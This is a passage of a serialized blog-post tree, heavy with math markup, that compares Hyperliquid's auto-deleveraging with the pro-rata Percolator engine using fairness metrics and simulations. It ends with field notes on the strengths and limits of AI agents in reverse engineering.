",{"type":26,"tag":83,"props":5409,"children":5411},{"className":5410},[213,4703],[5412],{"type":26,"tag":217,"props":5413,"children":5415},{"className":5414},[225],[5416],{"type":26,"tag":217,"props":5417,"children":5419},{"className":5418,"ariaHidden":231},[230],[5420,5446],{"type":26,"tag":217,"props":5421,"children":5423},{"className":5422},[236],[5424,5428,5433,5437,5442],{"type":26,"tag":217,"props":5425,"children":5427},{"className":5426,"style":4800},[241],[],{"type":26,"tag":217,"props":5429,"children":5431},{"className":5430,"style":5270},[247,2152],[5432],{"type":32,"value":5273},{"type":26,"tag":217,"props":5434,"children":5436},{"className":5435,"style":259},[258],[],{"type":26,"tag":217,"props":5438,"children":5440},{"className":5439},[264],[5441],{"type":32,"value":267},{"type":26,"tag":217,"props":5443,"children":5445},{"className":5444,"style":259},[258],[],{"type":26,"tag":217,"props":5447,"children":5449},{"className":5448},[236],[5450,5454],{"type":26,"tag":217,"props":5451,"children":5453},{"className":5452,"style":5294},[241],[],{"type":26,"tag":217,"props":5455,"children":5457},{"className":5456},[247],[5458],{"type":32,"value":1883},{"type":32,"value":5460}," means nothing was recovered.",{"type":26,"tag":2044,"props":5462,"children":5463},{},[5464,5468,5469,5593,5595,5814,5816,5921,5923,5975,5977,6029],{"type":26,"tag":65,"props":5465,"children":5466},{},[5467],{"type":32,"value":2061},{"type":32,"value":4984},{"type":26,"tag":83,"props":5470,"children":5472},{"className":5471},[213,4703],[5473],{"type":26,"tag":217,"props":5474,"children":5476},{"className":5475},[225],[5477],{"type":26,"tag":217,"props":5478,"children":5480},{"className":5479,"ariaHidden":231},[230],[5481,5507],{"type":26,"tag":217,"props":5482,"children":5484},{"className":5483},[236],[5485,5489,5494,5498,5503],{"type":26,"tag":217,"props":5486,"children":5488},{"className":5487,"style":5004},[241],[],{"type":26,"tag":217,"props":5490,"children":5492},{"className":5491},[247],[5493],{"type":32,"value":185},{"type":26,"tag":217,"props":5495,"children":5497},{"className":5496,"style":336},[258],[],{"type":26,"tag":217,"props":5499,"children":5501},{"className":5500},[341],[5502],{"type":32,"value":3379},{"type":26,"tag":217,"props":5504,"children":5506},{"className":5505,"style":336},[258],[],{"type":26,"tag":217,"props":5508,"children":5510},{"className":5509},[236],[5511,5516,5526,5531,5588],{"type":26,"tag":217,"props":5512,"children":5515},{"className":5513,"style":5514},[241],"height:1em;vertical-align:-0.25em;",[],{"type":26,"tag":217,"props":5517,"children":5519},{"className":5518},[247,32],[5520],{"type":26,"tag":217,"props":5521,"children":5523},{"className":5522},[247],[5524],{"type":32,"value":5525},"Gini",{"type":26,"tag":217,"props":5527,"children":5529},{"className":5528},[288],[5530],{"type":32,"value":1851},{"type":26,"tag":217,"props":5532,"children":5534},{"className":5533},[247],[5535,5540],{"type":26,"tag":217,"props":5536,"children":5538},{"className":5537},[247,2152],[5539],{"type":32,"value":2612},{"type":26,"tag":217,"props":5541,"children":5543},{"className":5542},[2160],[5544],{"type":26,"tag":217,"props":5545,"children":5547},{"className":5546},[299,300],[5548,5577],{"type":26,"tag":217,"props":5549,"children":5551},{"className":5550},[305],[5552,5572],{"type":26,"tag":217,"props":5553,"children":5555},{"className":5554,"style":2271},[310],[5556],{"type":26,"tag":217,"props":5557,"children":5558},{"style":2275},[5559,5563],{"type":26,"tag":217,"props":5560,"children":5562},{"className":5561,"style":2182},[320],[],{"type":26,"tag":217,"props":5564,"children":5566},{"className":5565},[2187,2188,2189,2190],[5567],{"type":26,"tag":217,"props":5568,"children":5570},{"className":5569},[247,2152,2190],[5571],{"type":32,"value":2290},{"type":26,"tag":217,"props":5573,"children":5575},{"className":5574},[409],[5576],{"type":32,"value":412},{"type":26,"tag":217,"props":5578,"children":5580},{"className":5579},[305],[5581],{"type":26,"tag":217,"props":5582,"children":5584},{"className":5583,"style":2210},[310],[5585],{"type":26,"tag":217,"props":5586,"children":5587},{},[],{"type":26,"tag":217,"props":5589,"children":5591},{"className":5590},[428],[5592],{"type":32,"value":1889},{"type":32,"value":5594}," where ",{"type":26,"tag":83,"props":5596,"children":5598},{"className":5597},[213,4703],[5599],{"type":26,"tag":217,"props":5600,"children":5602},{"className":5601},[225],[5603],{"type":26,"tag":217,"props":5604,"children":5606},{"className":5605,"ariaHidden":231},[230],[5607,5686],{"type":26,"tag":217,"props":5608,"children":5610},{"className":5609},[236],[5611,5616,5673,5677,5682],{"type":26,"tag":217,"props":5612,"children":5615},{"className":5613,"style":5614},[241],"height:0.8444em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":5617,"children":5619},{"className":5618},[247],[5620,5625],{"type":26,"tag":217,"props":5621,"children":5623},{"className":5622},[247,2152],[5624],{"type":32,"value":2612},{"type":26,"tag":217,"props":5626,"children":5628},{"className":5627},[2160],[5629],{"type":26,"tag":217,"props":5630,"children":5632},{"className":5631},[299,300],[5633,5662],{"type":26,"tag":217,"props":5634,"children":5636},{"className":5635},[305],[5637,5657],{"type":26,"tag":217,"props":5638,"children":5640},{"className":5639,"style":2271},[310],[5641],{"type":26,"tag":217,"props":5642,"children":5643},{"style":2275},[5644,5648],{"type":26,"tag":217,"props":5645,"children":5647},{"className":5646,"style":2182},[320],[],{"type":26,"tag":217,"props":5649,"children":5651},{"className":5650},[2187,2188,2189,2190],[5652],{"type":26,"tag":217,"props":5653,"children":5655},{"className":5654},[247,2152,2190],[5656],{"type":32,"value":2290},{"type":26,"tag":217,"props":5658,"children":5660},{"className":5659},[409],[5661],{"type":32,"value":412},{"type":26,"tag":217,"props":5663,"children":5665},{"className":5664},[305],[5666],{"type":26,"tag":217,"props":5667,"children":5669},{"className":5668,"style":2210},[310],[5670],{"type":26,"tag":217,"props":5671,"children":5672},{},[],{"type":26,"tag":217,"props":5674,"children":5676},{"className":5675,"style":259},[258],[],{"type":26,"tag":217,"props":5678,"children":5680},{"className":5679},[264],[5681],{"type":32,"value":267},{"type":26,"tag":217,"props":5683,"children":5685},{"className":5684,"style":259},[258],[],{"type":26,"tag":217,"props":5687,"children":5689},{"className":5688},[236],[5690,5694,5751,5757],{"type":26,"tag":217,"props":5691,"children":5693},{"className":5692,"style":5514},[241],[],{"type":26,"tag":217,"props":5695,"children":5697},{"className":5696},[247],[5698,5703],{"type":26,"tag":217,"props":5699,"children":5701},{"className":5700},[247,2152],[5702],{"type":32,"value":2542},{"type":26,"tag":217,"props":5704,"children":5706},{"className":5705},[2160],[5707],{"type":26,"tag":217,"props":5708,"children":5710},{"className":5709},[299,300],[5711,5740],{"type":26,"tag":217,"props":5712,"children":5714},{"className":5713},[305],[5715,5735],{"type":26,"tag":217,"props":5716,"children":5718},{"className":5717,"style":2271},[310],[5719],{"type":26,"tag":217,"props":5720,"children":5721},{"style":2275},[5722,5726],{"type":26,"tag":217,"props":5723,"children":5725},{"className":5724,"style":2182},[320],[],{"type":26,"tag":217,"props":5727,"children":5729},{"className":5728},[2187,2188,2189,2190],[5730],{"type":26,"tag":217,"props":5731,"children":5733},{"className":5732},[247,2152,2190],[5734],{"type":32,"value":2290},{"type":26,"tag":217,"props":5736,"children":5738},{"className":5737},[409],[5739],{"type":32,"value":412},{"type":26,"tag":217,"props":5741,"children":5743},{"className":5742},[305],[5744],{"type":26,"tag":217,"props":5745,"children":5747},{"className":5746,"style":2210},[310],[5748],{"type":26,"tag":217,"props":5749,"children":5750},{},[],{"type":26,"tag":217,"props":5752,"children":5754},{"className":5753},[247],[5755],{"type":32,"value":5756},"/",{"type":26,"tag":217,"props":5758,"children":5760},{"className":5759},[247],[5761,5766],{"type":26,"tag":217,"props":5762,"children":5764},{"className":5763,"style":2468},[247,2152],[5765],{"type":32,"value":2471},{"type":26,"tag":217,"props":5767,"children":5769},{"className":5768},[2160],[5770],{"type":26,"tag":217,"props":5771,"children":5773},{"className":5772},[299,300],[5774,5803],{"type":26,"tag":217,"props":5775,"children":5777},{"className":5776},[305],[5778,5798],{"type":26,"tag":217,"props":5779,"children":5781},{"className":5780,"style":2271},[310],[5782],{"type":26,"tag":217,"props":5783,"children":5784},{"style":2490},[5785,5789],{"type":26,"tag":217,"props":5786,"children":5788},{"className":5787,"style":2182},[320],[],{"type":26,"tag":217,"props":5790,"children":5792},{"className":5791},[2187,2188,2189,2190],[5793],{"type":26,"tag":217,"props":5794,"children":5796},{"className":5795},[247,2152,2190],[5797],{"type":32,"value":2290},{"type":26,"tag":217,"props":5799,"children":5801},{"className":5800},[409],[5802],{"type":32,"value":412},{"type":26,"tag":217,"props":5804,"children":5806},{"className":5805},[305],[5807],{"type":26,"tag":217,"props":5808,"children":5810},{"className":5809,"style":2210},[310],[5811],{"type":26,"tag":217,"props":5812,"children":5813},{},[],{"type":32,"value":5815}," for each winner with ",{"type":26,"tag":83,"props":5817,"children":5819},{"className":5818},[213,4703],[5820],{"type":26,"tag":217,"props":5821,"children":5823},{"className":5822},[225],[5824],{"type":26,"tag":217,"props":5825,"children":5827},{"className":5826,"ariaHidden":231},[230],[5828,5908],{"type":26,"tag":217,"props":5829,"children":5831},{"className":5830},[236],[5832,5837,5894,5898,5904],{"type":26,"tag":217,"props":5833,"children":5836},{"className":5834,"style":5835},[241],"height:0.6891em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":5838,"children":5840},{"className":5839},[247],[5841,5846],{"type":26,"tag":217,"props":5842,"children":5844},{"className":5843,"style":2468},[247,2152],[5845],{"type":32,"value":2471},{"type":26,"tag":217,"props":5847,"children":5849},{"className":5848},[2160],[5850],{"type":26,"tag":217,"props":5851,"children":5853},{"className":5852},[299,300],[5854,5883],{"type":26,"tag":217,"props":5855,"children":5857},{"className":5856},[305],[5858,5878],{"type":26,"tag":217,"props":5859,"children":5861},{"className":5860,"style":2271},[310],[5862],{"type":26,"tag":217,"props":5863,"children":5864},{"style":2490},[5865,5869],{"type":26,"tag":217,"props":5866,"children":5868},{"className":5867,"style":2182},[320],[],{"type":26,"tag":217,"props":5870,"children":5872},{"className":5871},[2187,2188,2189,2190],[5873],{"type":26,"tag":217,"props":5874,"children":5876},{"className":5875},[247,2152,2190],[5877],{"type":32,"value":2290},{"type":26,"tag":217,"props":5879,"children":5881},{"className":5880},[409],[5882],{"type":32,"value":412},{"type":26,"tag":217,"props":5884,"children":5886},{"className":5885},[305],[5887],{"type":26,"tag":217,"props":5888,"children":5890},{"className":5889,"style":2210},[310],[5891],{"type":26,"tag":217,"props":5892,"children":5893},{},[],{"type":26,"tag":217,"props":5895,"children":5897},{"className":5896,"style":259},[258],[],{"type":26,"tag":217,"props":5899,"children":5901},{"className":5900},[264],[5902],{"type":32,"value":5903},">",{"type":26,"tag":217,"props":5905,"children":5907},{"className":5906,"style":259},[258],[],{"type":26,"tag":217,"props":5909,"children":5911},{"className":5910},[236],[5912,5916],{"type":26,"tag":217,"props":5913,"children":5915},{"className":5914,"style":5294},[241],[],{"type":26,"tag":217,"props":5917,"children":5919},{"className":5918},[247],[5920],{"type":32,"value":1883},{"type":32,"value":5922}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":26,"tag":83,"props":5924,"children":5926},{"className":5925},[213,4703],[5927],{"type":26,"tag":217,"props":5928,"children":5930},{"className":5929},[225],[5931],{"type":26,"tag":217,"props":5932,"children":5934},{"className":5933,"ariaHidden":231},[230],[5935,5962],{"type":26,"tag":217,"props":5936,"children":5938},{"className":5937},[236],[5939,5943,5949,5953,5958],{"type":26,"tag":217,"props":5940,"children":5942},{"className":5941,"style":4800},[241],[],{"type":26,"tag":217,"props":5944,"children":5946},{"className":5945,"style":2153},[247,2152],[5947],{"type":32,"value":5948},"F",{"type":26,"tag":217,"props":5950,"children":5952},{"className":5951,"style":259},[258],[],{"type":26,"tag":217,"props":5954,"children":5956},{"className":5955},[264],[5957],{"type":32,"value":267},{"type":26,"tag":217,"props":5959,"children":5961},{"className":5960,"style":259},[258],[],{"type":26,"tag":217,"props":5963,"children":5965},{"className":5964},[236],[5966,5970],{"type":26,"tag":217,"props":5967,"children":5969},{"className":5968,"style":5294},[241],[],{"type":26,"tag":217,"props":5971,"children":5973},{"className":5972},[247],[5974],{"type":32,"value":185},{"type":32,"value":5976}," means everyone loses the same fraction of their PNL. ",{"type":26,"tag":83,"props":5978,"children":5980},{"className":5979},[213,4703],[5981],{"type":26,"tag":217,"props":5982,"children":5984},{"className":5983},[225],[5985],{"type":26,"tag":217,"props":5986,"children":5988},{"className":5987,"ariaHidden":231},[230],[5989,6016],{"type":26,"tag":217,"props":5990,"children":5992},{"className":5991},[236],[5993,5997,6002,6006,6012],{"type":26,"tag":217,"props":5994,"children":5996},{"className":5995,"style":4800},[241],[],{"type":26,"tag":217,"props":5998,"children":6000},{"className":5999,"style":2153},[247,2152],[6001],{"type":32,"value":5948},{"type":26,"tag":217,"props":6003,"children":6005},{"className":6004,"style":259},[258],[],{"type":26,"tag":217,"props":6007,"children":6009},{"className":6008},[264],[6010],{"type":32,"value":6011},"≈",{"type":26,"tag":217,"props":6013,"children":6015},{"className":6014,"style":259},[258],[],{"type":26,"tag":217,"props":6017,"children":6019},{"className":6018},[236],[6020,6024],{"type":26,"tag":217,"props":6021,"children":6023},{"className":6022,"style":5294},[241],[],{"type":26,"tag":217,"props":6025,"children":6027},{"className":6026},[247],[6028],{"type":32,"value":1883},{"type":32,"value":6030}," means a few get wiped while most are untouched.",{"type":26,"tag":2044,"props":6032,"children":6033},{},[6034,6038,6039,6199,6201,6295,6297],{"type":26,"tag":65,"props":6035,"children":6036},{},[6037],{"type":32,"value":2071},{"type":32,"value":4984},{"type":26,"tag":83,"props":6040,"children":6042},{"className":6041},[213,4703],[6043],{"type":26,"tag":217,"props":6044,"children":6046},{"className":6045},[225],[6047],{"type":26,"tag":217,"props":6048,"children":6050},{"className":6049,"ariaHidden":231},[230],[6051],{"type":26,"tag":217,"props":6052,"children":6054},{"className":6053},[236],[6055,6060,6137,6142],{"type":26,"tag":217,"props":6056,"children":6059},{"className":6057,"style":6058},[241],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":26,"tag":217,"props":6061,"children":6063},{"className":6062},[247],[6064,6069],{"type":26,"tag":217,"props":6065,"children":6067},{"className":6066,"style":2825},[247,2152],[6068],{"type":32,"value":2828},{"type":26,"tag":217,"props":6070,"children":6072},{"className":6071},[2160],[6073],{"type":26,"tag":217,"props":6074,"children":6076},{"className":6075},[299,300],[6077,6125],{"type":26,"tag":217,"props":6078,"children":6080},{"className":6079},[305],[6081,6120],{"type":26,"tag":217,"props":6082,"children":6085},{"className":6083,"style":6084},[310],"height:0.6644em;",[6086,6103],{"type":26,"tag":217,"props":6087,"children":6089},{"style":6088},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[6090,6094],{"type":26,"tag":217,"props":6091,"children":6093},{"className":6092,"style":2182},[320],[],{"type":26,"tag":217,"props":6095,"children":6097},{"className":6096},[2187,2188,2189,2190],[6098],{"type":26,"tag":217,"props":6099,"children":6101},{"className":6100,"style":2153},[247,2152,2190],[6102],{"type":32,"value":178},{"type":26,"tag":217,"props":6104,"children":6106},{"style":6105},"top:-3.063em;margin-right:0.05em;",[6107,6111],{"type":26,"tag":217,"props":6108,"children":6110},{"className":6109,"style":2182},[320],[],{"type":26,"tag":217,"props":6112,"children":6114},{"className":6113},[2187,2188,2189,2190],[6115],{"type":26,"tag":217,"props":6116,"children":6118},{"className":6117,"style":2326},[247,2152,2190],[6119],{"type":32,"value":2329},{"type":26,"tag":217,"props":6121,"children":6123},{"className":6122},[409],[6124],{"type":32,"value":412},{"type":26,"tag":217,"props":6126,"children":6128},{"className":6127},[305],[6129],{"type":26,"tag":217,"props":6130,"children":6133},{"className":6131,"style":6132},[310],"height:0.2753em;",[6134],{"type":26,"tag":217,"props":6135,"children":6136},{},[],{"type":26,"tag":217,"props":6138,"children":6140},{"className":6139},[247],[6141],{"type":32,"value":5756},{"type":26,"tag":217,"props":6143,"children":6145},{"className":6144},[247],[6146,6151],{"type":26,"tag":217,"props":6147,"children":6149},{"className":6148,"style":2825},[247,2152],[6150],{"type":32,"value":2828},{"type":26,"tag":217,"props":6152,"children":6154},{"className":6153},[2160],[6155],{"type":26,"tag":217,"props":6156,"children":6158},{"className":6157},[299,300],[6159,6188],{"type":26,"tag":217,"props":6160,"children":6162},{"className":6161},[305],[6163,6183],{"type":26,"tag":217,"props":6164,"children":6166},{"className":6165,"style":2699},[310],[6167],{"type":26,"tag":217,"props":6168,"children":6169},{"style":2847},[6170,6174],{"type":26,"tag":217,"props":6171,"children":6173},{"className":6172,"style":2182},[320],[],{"type":26,"tag":217,"props":6175,"children":6177},{"className":6176},[2187,2188,2189,2190],[6178],{"type":26,"tag":217,"props":6179,"children":6181},{"className":6180,"style":2153},[247,2152,2190],[6182],{"type":32,"value":178},{"type":26,"tag":217,"props":6184,"children":6186},{"className":6185},[409],[6187],{"type":32,"value":412},{"type":26,"tag":217,"props":6189,"children":6191},{"className":6190},[305],[6192],{"type":26,"tag":217,"props":6193,"children":6195},{"className":6194,"style":2210},[310],[6196],{"type":26,"tag":217,"props":6197,"children":6198},{},[],{"type":32,"value":6200}," — ",{"type":26,"tag":83,"props":6202,"children":6204},{"className":6203},[213,4703],[6205],{"type":26,"tag":217,"props":6206,"children":6208},{"className":6207},[225],[6209],{"type":26,"tag":217,"props":6210,"children":6212},{"className":6211,"ariaHidden":231},[230],[6213],{"type":26,"tag":217,"props":6214,"children":6216},{"className":6215},[236],[6217,6222],{"type":26,"tag":217,"props":6218,"children":6221},{"className":6219,"style":6220},[241],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":26,"tag":217,"props":6223,"children":6225},{"className":6224},[247],[6226,6231],{"type":26,"tag":217,"props":6227,"children":6229},{"className":6228,"style":2825},[247,2152],[6230],{"type":32,"value":2828},{"type":26,"tag":217,"props":6232,"children":6234},{"className":6233},[2160],[6235],{"type":26,"tag":217,"props":6236,"children":6238},{"className":6237},[299,300],[6239,6284],{"type":26,"tag":217,"props":6240,"children":6242},{"className":6241},[305],[6243,6279],{"type":26,"tag":217,"props":6244,"children":6246},{"className":6245,"style":6084},[310],[6247,6263],{"type":26,"tag":217,"props":6248,"children":6249},{"style":6088},[6250,6254],{"type":26,"tag":217,"props":6251,"children":6253},{"className":6252,"style":2182},[320],[],{"type":26,"tag":217,"props":6255,"children":6257},{"className":6256},[2187,2188,2189,2190],[6258],{"type":26,"tag":217,"props":6259,"children":6261},{"className":6260,"style":2153},[247,2152,2190],[6262],{"type":32,"value":178},{"type":26,"tag":217,"props":6264,"children":6265},{"style":6105},[6266,6270],{"type":26,"tag":217,"props":6267,"children":6269},{"className":6268,"style":2182},[320],[],{"type":26,"tag":217,"props":6271,"children":6273},{"className":6272},[2187,2188,2189,2190],[6274],{"type":26,"tag":217,"props":6275,"children":6277},{"className":6276,"style":2326},[247,2152,2190],[6278],{"type":32,"value":2329},{"type":26,"tag":217,"props":6280,"children":6282},{"className":6281},[409],[6283],{"type":32,"value":412},{"type":26,"tag":217,"props":6285,"children":6287},{"className":6286},[305],[6288],{"type":26,"tag":217,"props":6289,"children":6291},{"className":6290,"style":6132},[310],[6292],{"type":26,"tag":217,"props":6293,"children":6294},{},[],{"type":32,"value":6296}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":26,"tag":83,"props":6298,"children":6300},{"className":6299},[213,4703],[6301],{"type":26,"tag":217,"props":6302,"children":6304},{"className":6303},[225],[6305],{"type":26,"tag":217,"props":6306,"children":6308},{"className":6307,"ariaHidden":231},[230],[6309],{"type":26,"tag":217,"props":6310,"children":6312},{"className":6311},[236],[6313,6318],{"type":26,"tag":217,"props":6314,"children":6317},{"className":6315,"style":6316},[241],"height:0.4306em;",[],{"type":26,"tag":217,"props":6319,"children":6321},{"className":6320,"style":2326},[247,2152],[6322],{"type":32,"value":2329},{"type":26,"tag":39,"props":6324,"children":6325},{},[6326],{"type":32,"value":6327},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":26,"tag":6329,"props":6330,"children":6332},"git-hub-repo-link",{"url":6331},"https://github.com/aeyakovenko/percolator",[],{"type":26,"tag":39,"props":6334,"children":6335},{},[6336,6338,6343],{"type":32,"value":6337},"Given a fixed ",{"type":26,"tag":65,"props":6339,"children":6340},{},[6341],{"type":32,"value":6342},"a priori",{"type":32,"value":6344}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":26,"tag":39,"props":6346,"children":6347},{},[6348,6350,6355,6357,6434],{"type":32,"value":6349},"One prediction that we can make is that Percolator is ",{"type":26,"tag":65,"props":6351,"children":6352},{},[6353],{"type":32,"value":6354},"perfectly fair",{"type":32,"value":6356}," according to this scoring: the ",{"type":26,"tag":83,"props":6358,"children":6360},{"className":6359},[213,4703],[6361],{"type":26,"tag":217,"props":6362,"children":6364},{"className":6363},[225],[6365],{"type":26,"tag":217,"props":6366,"children":6368},{"className":6367,"ariaHidden":231},[230],[6369],{"type":26,"tag":217,"props":6370,"children":6372},{"className":6371},[236],[6373,6377],{"type":26,"tag":217,"props":6374,"children":6376},{"className":6375,"style":5614},[241],[],{"type":26,"tag":217,"props":6378,"children":6380},{"className":6379},[247],[6381,6386],{"type":26,"tag":217,"props":6382,"children":6384},{"className":6383},[247,2152],[6385],{"type":32,"value":2612},{"type":26,"tag":217,"props":6387,"children":6389},{"className":6388},[2160],[6390],{"type":26,"tag":217,"props":6391,"children":6393},{"className":6392},[299,300],[6394,6423],{"type":26,"tag":217,"props":6395,"children":6397},{"className":6396},[305],[6398,6418],{"type":26,"tag":217,"props":6399,"children":6401},{"className":6400,"style":2271},[310],[6402],{"type":26,"tag":217,"props":6403,"children":6404},{"style":2275},[6405,6409],{"type":26,"tag":217,"props":6406,"children":6408},{"className":6407,"style":2182},[320],[],{"type":26,"tag":217,"props":6410,"children":6412},{"className":6411},[2187,2188,2189,2190],[6413],{"type":26,"tag":217,"props":6414,"children":6416},{"className":6415},[247,2152,2190],[6417],{"type":32,"value":2290},{"type":26,"tag":217,"props":6419,"children":6421},{"className":6420},[409],[6422],{"type":32,"value":412},{"type":26,"tag":217,"props":6424,"children":6426},{"className":6425},[305],[6427],{"type":26,"tag":217,"props":6428,"children":6430},{"className":6429,"style":2210},[310],[6431],{"type":26,"tag":217,"props":6432,"children":6433},{},[],{"type":32,"value":6435}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":26,"tag":39,"props":6437,"children":6438},{},[6439,6441,6446],{"type":32,"value":6440},"We are ignoring the ",{"type":26,"tag":65,"props":6442,"children":6443},{},[6444],{"type":32,"value":6445},"a posteriori",{"type":32,"value":6447}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":26,"tag":39,"props":6449,"children":6450},{},[6451],{"type":32,"value":6452},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":26,"tag":27,"props":6454,"children":6456},{"id":6455},"simulations",[6457],{"type":32,"value":6458},"Simulations",{"type":26,"tag":39,"props":6460,"children":6461},{},[6462],{"type":32,"value":6463},"Let's consider the following price scenarios, as we said:",{"type":26,"tag":39,"props":6465,"children":6466},{},[6467],{"type":26,"tag":6468,"props":6469,"children":6472},"img",{"alt":6470,"src":6471},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":26,"tag":39,"props":6474,"children":6475},{},[6476],{"type":32,"value":6477},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":26,"tag":39,"props":6479,"children":6480},{},[6481],{"type":26,"tag":6468,"props":6482,"children":6485},{"alt":6483,"src":6484},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":26,"tag":607,"props":6487,"children":6489},{"id":6488},"percolator-is-more-optimistic",[6490],{"type":32,"value":6491},"Percolator Is More \"Optimistic\"",{"type":26,"tag":39,"props":6493,"children":6494},{},[6495,6497,6502,6504,6509,6511,6517,6519,6524],{"type":32,"value":6496},"The key difference is what happens to positions. ADL ",{"type":26,"tag":65,"props":6498,"children":6499},{},[6500],{"type":32,"value":6501},"permanently closes",{"type":32,"value":6503}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":26,"tag":65,"props":6505,"children":6506},{},[6507],{"type":32,"value":6508},"withdraw",{"type":32,"value":6510},", but the position stays open. If conditions improve, ",{"type":26,"tag":83,"props":6512,"children":6514},{"className":6513},[],[6515],{"type":32,"value":6516},"Residual",{"type":32,"value":6518}," goes up, ",{"type":26,"tag":83,"props":6520,"children":6522},{"className":6521},[],[6523],{"type":32,"value":2612},{"type":32,"value":6525}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":26,"tag":39,"props":6527,"children":6528},{},[6529,6531,6536],{"type":32,"value":6530},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":26,"tag":65,"props":6532,"children":6533},{},[6534],{"type":32,"value":6535},"more",{"type":32,"value":6537}," per position, though the tradeoff is that fewer traders get to participate.",{"type":26,"tag":39,"props":6539,"children":6540},{},[6541],{"type":26,"tag":6468,"props":6542,"children":6545},{"alt":6543,"src":6544},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":26,"tag":27,"props":6547,"children":6549},{"id":6548},"some-points-to-be-made",[6550],{"type":32,"value":6551},"Some Points to Be Made",{"type":26,"tag":607,"props":6553,"children":6555},{"id":6554},"percolator-is-indifferent-to-leverage",[6556],{"type":32,"value":6557},"Percolator Is Indifferent to Leverage",{"type":26,"tag":39,"props":6559,"children":6560},{},[6561],{"type":32,"value":6562},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":26,"tag":39,"props":6564,"children":6565},{},[6566],{"type":26,"tag":6468,"props":6567,"children":6570},{"alt":6568,"src":6569},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":26,"tag":607,"props":6572,"children":6574},{"id":6573},"fairness",[6575],{"type":32,"value":2061},{"type":26,"tag":39,"props":6577,"children":6578},{},[6579],{"type":32,"value":6580},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":26,"tag":39,"props":6582,"children":6583},{},[6584],{"type":26,"tag":6468,"props":6585,"children":6588},{"alt":6586,"src":6587},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":26,"tag":39,"props":6590,"children":6591},{},[6592,6594,6599],{"type":32,"value":6593},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":26,"tag":83,"props":6595,"children":6597},{"className":6596},[],[6598],{"type":32,"value":544},{"type":32,"value":6600}," we start by fully closing the worst position against the best-performing trader.",{"type":26,"tag":27,"props":6602,"children":6604},{"id":6603},"strengths-and-limitations-of-agents-for-reverse-engineering",[6605],{"type":32,"value":6606},"Strengths and Limitations of Agents for Reverse Engineering",{"type":26,"tag":39,"props":6608,"children":6609},{},[6610],{"type":32,"value":6611},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":26,"tag":607,"props":6613,"children":6615},{"id":6614},"hooks",[6616],{"type":32,"value":6617},"Hooks",{"type":26,"tag":39,"props":6619,"children":6620},{},[6621,6623,6627],{"type":32,"value":6622},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":26,"tag":65,"props":6624,"children":6625},{},[6626],{"type":32,"value":6614},{"type":32,"value":6628},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":26,"tag":39,"props":6630,"children":6631},{},[6632],{"type":32,"value":6633},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":26,"tag":607,"props":6635,"children":6637},{"id":6636},"scale",[6638],{"type":32,"value":6639},"Scale",{"type":26,"tag":39,"props":6641,"children":6642},{},[6643],{"type":32,"value":6644},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":26,"tag":39,"props":6646,"children":6647},{},[6648],{"type":32,"value":6649},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":26,"tag":607,"props":6651,"children":6653},{"id":6652},"whats-next",[6654],{"type":32,"value":6655},"What's next?",{"type":26,"tag":39,"props":6657,"children":6658},{},[6659],{"type":32,"value":6660},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":26,"tag":6329,"props":6662,"children":6663},{"url":165},[],{"type":26,"tag":39,"props":6665,"children":6666},{},[6667],{"type":32,"value":6668},"The analyzed binary can be found 